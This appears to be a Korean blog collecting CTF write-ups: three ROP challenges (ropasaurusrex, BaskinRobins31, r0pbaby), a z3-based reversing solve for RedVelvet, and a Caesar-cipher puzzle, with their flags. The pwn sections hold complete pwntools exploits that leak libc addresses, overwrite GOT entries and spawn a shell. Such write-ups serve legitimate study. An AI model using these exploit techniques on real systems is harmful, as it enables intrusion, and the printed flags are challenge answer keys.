ropasaurusrex

문제 바이너리 첨부


이 문제는 32bit elf다.


보호기법을 살펴보았다.

ASLR이 걸려있고 NX가 걸려있다.


우선 이 바이너리를 실행하면 아래와 같다.

단순히 입력하나 받고 WIN이라는 문자열을 출력하고 종료된다.

아마 입력하는 부분에서 오버플로가 일어날 것이다.


우선 gdb로 열어보았다.

근데 디버깅 심볼을 찾을 수 없어서 main함수가 열리지 않았다.

그래서 info func로 함수를 찾았다.


write와 read함수가 있다.

rop를 하면 될 것 같다.


write()함수와 read()함수에 bp를 걸고 트레이싱을 했다.


구조를 보니 먼저 read()함수를 실행하고 나중에 write()함수를 실행한다.

write@got를 rop를 통해 overwrite 해주면 될 것이다.

read()함수에 대해 입력 값으로 A 8개를 주었다.



그리고 read()함수를 빠져 나온 후 바로 leave 과정에서 bp를 걸고 멈추었다.

ret까지 0x8c차이가 난다. 즉 140바이트를 오버플로우 해주면 sfp까지 덮힌다는 것이다.

이제 가젯을 모으자.


read@plt, 

read@got, 

write@plt, 

write@got, 

bss주소, 

system의 offset, 

pop pop pop ret 가젯, 

pop ret 가젯

을 찾았다.


bss 영역의 주소는 objdump, readelf를 사용하지 않고 peda의 elfheader명령을 통해 찾았고,

pop pop 가젯은 이번엔 rp++로 찾지 않고 peda의 내장 명령어인 ropgadget으로 찾았다.


exploit code

from pwn import *

p = process('./ropasaurusrex')

read_plt = 0x0804832c
read_got = 0x804961c
write_plt = 0x0804830c
write_got = 0x8049614
bss = 0x8049628
system_offset = 0x9ad60 
pppr = 0x80484b6
pr = 0x80483c3
binsh = "/bin/sh\x00"

payload = "A"*140 
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(len(binsh)+1)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += p32(pr) 
payload += p32(bss)

log.info("Exploit..")
p.sendline(payload)

read_addr = u32(p.recv()[-4:])
log.info("read_addr = {}".format(hex(read_addr)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))

p.sendline(binsh)
p.sendline(p32(system_addr))
p.interactive()


'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
Defcon 2015 r0pbaby  (0) 2018.07.13

대회 당시에는 64bit 운영체제에 대한 지식이 없어서 건들지 못했는데 최근 공부하면서 문제를 풀었다.

유명한 베스킨라빈스31 게임이다.

1에서 3까지의 수를 입력하면서 31부터 수를 떨어뜨리는 건데

이게 컴퓨터가 무조건 이기도록 구조가 되어있어서 일반적인 게임으론 풀 수 가 없다.

따라서 익스플로잇을 통해 쉘을 얻으라는 건데..

우선 gdb와 ida로 열어서 봤다.



이겼을 경우 jmp하는 루틴을 보면 Hint로 ROP라는 문구를 출력해주고 main()함수를 종료한다.

근데 뭐 일반적인 경우로 이 루틴을 거칠 수는 없고 힌트로 준 rop를 이용해 문제를 풀려고 해야한다.


어디서 오버플로우가 터질지 찾아보았는데.

사용자 입력을 받는 부분은 1-3까지의 수를 입력하는 부분이다.


그래서 그 부분을 살펴봤다.

보면 솔직히 1에서 3까지의 숫자를 입력받을 거면서 190h 바이트를 받는게 좀 이상하다.

여기가 취약하다고 티를 내는 것 같다.

그래서 일단 저기에 100바이트의 A를 입력하고 ret와의 거리를 계산해서 ret를 덮을 수 있는지 확인해 봤다.


내가 입력한 A 100바이트는 [$rbp-0xb0]에 들어가게 된다.

그리고 ret의 위치인 rbp+0x8과의 거리를 보면 0xb8이다.

즉 사용자가 최대로 입력할 수 있는 0x190보다 작은 0xb8의 diff를 가지고 있으므로 ret를 덮을 수 있다.

다시말해 오버플로우가 가능하다.


이제 이 공격벡터를 이용해서 rop를 실행하면 된다.


먼저 rop에 필요한 가젯을 찾아야 한다.

공략 단계

1. gdb로 write()와 read()의 plt, got를 찾는다.

2. system()함수의 offset을 구한다.

3. system()함수에 사용할 pop rdi ; ret 가젯을 찾는다.

4. write()함수에 got overwrite를 하기 위해 pop rdi ; pop rsi ; pop rdx ; ret 가젯을 찾는다.

5. /bin/sh 문자열을 입력할 bss영역의 주소를 찾는다.


read@plt = 0x400700

read@got = 0x602040


write@plt = 0x4006d0

write@got = 0x602028


system함수의 offset은 gdb에서 간단하게 read와의 차이로 구했다.


가젯은 rp++툴을 이용해서 구했다.

pop_rdi gadget = 0x400bc3


마찬가지로 rp++로 가젯을 구했다.

pppr gadget = 0x40087a


마지막으로 bss영역의 주소를 구했다.


이제 익스플로잇 코드를 작성한다.


처음에 write()함수를 이용해서 read함수의 바이너리 상 주소를 알아낸 후 system 주소를 릭해야 한다.

따라서 write(1, read@got, 8) 함수를 먼저 시작해준다.

그리고 rop를 진행하면 된다.


exploit code

from pwn import *

p = process("./BaskinRobins31")

read_plt = 0x400700
read_got = 0x602040
write_plt = 0x4006d0
write_got = 0x602028
pr = 0x400bc3
pppr = 0x40087a
bss = 0x602090
system_offset = 0xb1ec0 

payload = "A"*184 

payload += p64(pppr)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_plt)

payload += p64(pppr)
payload += p64(0)  
payload += p64(bss)
payload += p64(8)  
payload += p64(read_plt)

payload += p64(pppr)
payload += p64(0)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_plt)

payload += p64(pr) 
payload += p64(bss)
payload += p64(write_plt)

log.info('Exploit..')
p.sendline(payload)

read_addr = u64(p.recv()[-8:])
log.info("read_addr = {}".format(hex(read_addr)))

log.info("system_offset = {}".format(hex(system_offset)))
system_addr = read_addr - system_offset
log.info("system_addr = {}".format(hex(system_addr)))
p.sendline("/bin/sh")
p.sendline(p64(system_addr))
p.interactive()


Ref.http://d4m0n.tistory.com/84

'CTF > Codegate' 카테고리의 다른 글

codegate2019 20000  (0) 2019.02.07
codegate 2018 super marimo  (0) 2019.01.19
Codegate 2018 RedVelvet writeup  (0) 2018.02.04

r0pbaby

문제 바이너리다.


64비트용 바이너리로 ubuntu 64에서 실행했다.


checksec로 보호기법을 확인해봤다.

PIE, NX가 걸려있다.

검색을 해보면 짧게 설명한게 

PIE 보호기법은 공격시 바이너리 주소를 이용하지 못하도록 파일을 실행 할 때마다 해당 주소를 랜덤하게 바꿔주는 것이라고 한다.

즉 바이너리용 ASLR이라고 생각하면 된다.


그래서 이 문제를 풀려면 직접 offset을 다 구해서 풀어야 한다.


우선 바이너리를 실행시키면 아래와 같이 메뉴선택을 하는 부분이 나온다.

1번을 누르면 libc의 주소가 나오고, 2번을 누르면 내가 원하는 libc함수의 주소를 얻을 수 있다.

대놓고 rop를 하라는 뜻인거 같다.


3번을 누르면 스택에 값을 삽입하는데 "A"를 8개 삽입했더니 rbp가 "A" 8개로 덮여졌다.

즉 저기서 오버플로우가 일어나는 것이다.

공격벡터를 파악 했으므로 익스플로잇 코드를 작성해보자.


먼저 libc에서의 offset을 구해야한다.

system의 주소는 2번을 눌러서 구하면 되므로 패스하고(우선 offset을 구하기 위해 gdb에서 p system으로 구한다.),

/bin/sh의 문자열은 peda의 find기능을 이용해 찾도록 한다.

그리고 이제 system("/bin/sh")의 구조를 완성해주기 위한 pop rdi; ret 가젯을 구해야 한다.

난 rp++ 툴을 이용해 구했다.

많은 주소 중에 0x21102로 정했다.

이제 system()함수의 주소를 이용해 offset을 구한 후 익스 코드를 작성했다.


exploit code

from pwn import *

p = process('./r0pbaby')

libc_system = 0x45390 
libc_prr = 0x21102 
libc_binsh = 0x18cd57

print p.recv()
p.sendline("1")
libc = p.recvuntil("libc.so.6") + p.recvuntil("\n")
libc = int(libc.split("\n")[0].split(" ")[1], 16)
p.sendline("2")
print p.recv(1024)
p.sendline("system")
system = p.recvuntil("Enter symbol") + p.recvuntil("\n")
system = int(system.split("\n")[0].split(": ")[2], 16)

print "libc = {0}, system = {1}".format(hex(libc), hex(system))
binsh = system + (libc_binsh - libc_system)
prr = system - (libc_system - libc_prr)

payload = "A"*8 
payload += p64(prr)
payload += p64(binsh)
payload += p64(system)
p.sendline("3")
p.sendline("36")
p.sendline(payload)
p.interactive()



'CTF' 카테고리의 다른 글

pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14
pico-ctf-2013 rop-2  (0) 2018.07.14
pico-ctf-2013 rop-1  (0) 2018.07.14
PlaidCTF 2013 ropasaurusrex  (0) 2018.07.14

RedVelvet

gdb를 이용해 리버싱을 해보면 우선 사용자의 input을 받은 다음 func1 ~ func15 까지 15개의 함수에 사용자 input을 2~3개씩 쪼개서 각 함수의 인자로 넣어준다. 그리고 함수안에서 어떠한 계산 후 계산의 결과와 input 값이 일치하는지 확인 후 일치하면 HAPPINESS!라는 문자열이 출력된다.

한 함수라도 통과하지 못하면 프로그램이 종료한다.

함수를 전부 통과하게되면 각 함수마다 한번씩 총 15번 HAPPINESS!라는 문자열이 출력된 후 전부 통과하게 되면 플래그를 뱉어준다.


처음에는 손으로 직접 리버싱하여 함수를 분석한 후 약간(?) 노가다로 키를 구하는 방식으로 하다가 더 편한 방법을 찾았다.

python에 z3라는 라이브러리를 이용하면 수학식을 계산해서 값을 뽑아줄 수 있다.

 

func10까지는 노가다로 구했다가 func11부터 15까지는 라이브러리를 이용해 풀었다.

아래는 키를 구하는 코드다.

#sha256_hash = 0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dc0ff8f380e5
from z3 import *

s = Solver()

for i in range(1,27):
        globals()['a%i'%i]=BitVec('a%i'%i,32)

#func1
s.add(a1 * 2 * (a1 ^ a2)  - a2 == 0x2a6a)
s.add(a1 > 0x55)
s.add(a1 <= 0x5f)
s.add(a2 > 0x60)
s.add(a2 <= 0x6f)

#func2
s.add(a2 % a3 == 0x7)
s.add(a2 > 0x5a)

#func3
s.add(a3 / a4 +(a4 ^ a3) == 0x15)
s.add(a3 <= 0x63)
s.add(a4 <= 0x77)

#func4
s.add(a5 == 0x5f)

#func5
s.add((a6 + a5)^(a5 ^ a6 ^ a5 ) == 0xe1)
s.add(a5 > 0x5a)
s.add(a6 <= 0x59)

#func6
s.add(a6 <= a7)
s.add(a7 <= a8)
s.add(a6 > 0x55)
s.add(a7 > 0x6e)
s.add(a8 > 0x73)
s.add((a7+a8) ^ (a6 + a7) == 0x2c)
s.add((a7 + a8)%a6 + a7  == 0xa1)

#func7
s.add(a8 >= a9)
s.add(a9 >= a10)
s.add(a8 <= 0x77)
s.add(a9 > 0x5a)
s.add(a10 <= 0x59)
s.add((a8 + a10) ^ (a9 + a10) == 0x7a)
s.add((a8 + a10) % a9 + a10 == 0x65)

#func8
s.add(a10 <= a11)
s.add(a11 <= a12)
s.add(a12 <= 0x72)
s.add((a10 + a11) / a12 * a11 == 0x61)
s.add((a12 ^ (a10 - a11)) * a11 == 0xffffd898)

#func9
s.add(a12 == a13)
s.add(a13 >= a14)
s.add(a14 <= 0x63)
s.add(a14 + a12 * (a14 - a13) - a12 == 0xfffffa5d)

#func10
s.add(a14 >= a15)
s.add(a15 >= a16)
s.add(a15 * (a14 + a16 + 1) - a16 == 0x3c9a)
s.add(a15 > 0x5a)
s.add(a15 <= 0x63)

#func11
s.add(a17 >= a16)
s.add(a16 >= a18)
s.add(a17 > 0x64)
s.add(a17 <= 0x68)
s.add(a16 + (a17 ^ (a17- a18)) - a18 == 0x46)
s.add((a17 + a18) / a16 + a16 == 0x44)

#func12
s.add(a18 >= a19)
s.add(a19 >= a20)
s.add(a19 <= 0x3b)
s.add(a20 <= 0x2c)
s.add(a18 + (a19 ^ (a20 + a19)) - a20 == 0x6f)
s.add((a19 ^ (a19 - a20)) + a19 == 0x65)

#func13
s.add(a22 + (a21 ^ (a20 + a22)) - a20 == 0x10d)
s.add((a22 ^ (a21 - a20)) + a21 == 0xb9)
s.add(a20 <= a21)
s.add(a21 <= a22)
s.add(a20 > 0x28)
s.add(a21 > 0x5a)
s.add(a22 <= 0x6d)

#func14
s.add(a22 + (a23 ^ (a22 + a23)) - a24 == 0xb9)
s.add(a22 >= a24)
s.add(a23 >= a24)
s.add(a23 <= 0x63)
s.add(a24 > 0x5a)

#func15
s.add((a26 ^ ((a25 - a24) * a25)) - a24 == 0x4be)
s.add((a24 ^ ((a26 - a25) * a26)) + a25 == 0xfffffbf6)
s.add(a25 >= a26)
s.add(a25 >= a24)
s.add(a26 > 0x5f)
s.add(a25 <= 0x6d)

print s.check()
#print s.model()

if (s.check() == sat):
        values =s.model()
        flag=""
        for i in range(1,27):
                obj = globals()['a%i' % i]
                char = values[obj].as_long()
                flag += chr(char)
        print flag


FLAG : What_You_Wanna_Be?:)_lc_la



lc_la라고 나오는데 이 값을 your flag에 입력하면 flag를 뱉지 않는다.

gdb로 어셈을 보다보면 sha256으로 내가 입력한 flag를 암호화한 다음 gdb 내에 있는 0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dc0ff8f380e5 이 값과 비교를 해서 같으면 플래그를 뱉어준다.

아마 저 암호화된 값은 진짜 flag를 SHA256으로 암호화 한 것으로 보인다.

게싱으로 lc를 la로 바꿔서 What_You_Wanna_Be?:)_la_la로 입력하면 플래그를 뱉어준다.


Ref. http://revers3r.tistory.com/103?category=112084

Ref. https://github.com/AnisBoss/CTFs/blob/master/Codegate%20CTF%202018/RedVelvet%20-%20254pts%20(Rev)/solve.py


'CTF > Codegate' 카테고리의 다른 글

codegate2019 20000  (0) 2019.02.07
codegate 2018 super marimo  (0) 2019.01.19
CodeGate2018 BaskinRobins31  (0) 2018.07.14

암호문 : Shal7 ohz illu dpao aol zjovvs zpujl 2001, dolu Zbuspu Pualyula Opno Zjovvs dhz klzpnuhalk hz aol mpyza PA johyhjalypzapj opno zjovvs pu Zlvbs. Zabkluaz dov hyl pualylzalk pu zljbypaf hyl ibpskpun h jsbi, huk pu aol yhyl hylhz vm ohjrpun, lhjo vaoly ohz olswlk lhjo vaoly huk ohz zabkplk zljbypaf. Aol zfzalthapj jbyypjbsbt huk aol whzzpvu vm aol jsbi tltilyz huk aol zluzl vm ylzwvuzpipspaf ohcl jvuaypibalk av aol opzavyf vm 17 flhyz. Aol Dvysk Dhy Aluupz Johtwpvuzopwz, ovzalk if aol Dvysk'z Tvza Dhualk if Klhao huk Klmluzl Tpupzayf, hyl wbispzolk pu chypvbz mplskz, pujsbkpun aol Pualyuhapvuhs Ohjrpun Jvumlylujl, vynhupglk if aol Pualyuhapvuhs Ohjrpun Jvumlylujl, huk wbispzopun pu chypvbz mplskz, pujsbkpun jvtwbalyz, Dli wvyahsz, huk ltilkklk mvythaz. Avkhf dl ohcl opkklu h mshn. MSHN{Shfly7_pz_nvvkkkkkkkkk}


치환암호
아래는 복호화 소스다.

import sys

enc = ""

def decrypt(encrypt, val):
    if val > 26:
        sys.exit()
    result = ""

    for i in encrypt:
        i = ord(i)
        if i > 64 and i < 91:
            new_val = i + val

            if new_val > 90:
                add_val = new_val - 90
                new_val = 64 + add_val
                result += hex(new_val)[2:].decode('hex')
            else:
                result += hex(new_val)[2:].decode('hex')
        elif i > 96 and i < 123:
            new_val = i + val

            if new_val > 122:
                add_val = new_val -122
                new_val = 96 + add_val
                result += hex(new_val)[2:].decode('hex')
            else:
                result += hex(new_val)[2:].decode('hex')
        else:
            result += hex(i)[2:].decode('hex')
    print result

decrypt(enc, 19)


복호문 : Late7 has been with the school since 2001, when Sunlin Internet High School was designated as the first IT characteristic high school in Seoul. Students who are interested in security are building a club, and in the rare areas of hacking, each other has helped each other and has studied security. The systematic curriculum and the passion of the club members and the sense of responsibility have contributed to the history of 17 years. The World War Tennis Championships, hosted by the World's Most Wanted by Death and Defense Ministry, are published in various fields, including the International Hacking Conference, organized by the International Hacking Conference, and publishing in various fields, including computers, Web portals, and embedded formats. Today we have hidden a flag. FLAG{Layer7_is_gooddddddddd}


답은 FLAG{Layer7_is_gooddddddddd} 다.


+ Recent posts